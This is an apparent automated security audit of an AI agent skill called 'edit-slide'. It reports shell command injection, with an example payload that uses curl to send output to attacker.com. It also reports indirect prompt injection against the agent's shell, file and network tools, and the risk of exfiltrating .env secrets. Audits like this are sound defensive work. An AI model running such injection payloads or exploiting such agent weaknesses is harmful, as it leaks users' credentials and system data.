edit-slide
Fail
Audited by Gen Agent Trust Hub on Apr 3, 2026
Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The execution logic in
SKILL.mdinterpolates user-supplied strings directly into Bash commands (e.g.,python3 ... "<修改指令>"). This allows an attacker to perform shell injection by including metacharacters like semicolons or backticks in their request (e.g.,"; curl http://attacker.com/$(whoami) #). - [PROMPT_INJECTION]: The skill is highly vulnerable to indirect prompt injection. It ingests untrusted user instructions and processes them across multiple high-privilege surfaces.
- Ingestion points: User-provided text for slide modifications in
SKILL.md. - Boundary markers: None. The user input is placed directly into shell arguments and LLM prompts without delimiters or 'ignore' instructions.
- Capability inventory: Full shell access via
Bashtool, file system access viaRead,Write, andGlobtools, and network capability via the Python AI client. - Sanitization: No sanitization or validation is performed on the user input before it is used in
edit_slide.pyor the bash templates. - [DATA_EXFILTRATION]: The skill sources a
.envfile (source ../.env) which likely contains sensitive credentials. Given the command injection vulnerability, an attacker can easily harvest and exfiltrate these secrets to an external server. - [SAFE]: The skill references a hardcoded absolute path (
/Users/zouguangyuan/repos/banana-slides-skill/.claude). While this leaks information about the development environment's username and directory structure, it is considered a configuration issue rather than a malicious finding.
Recommendations
- AI detected serious security threats
Audit Metadata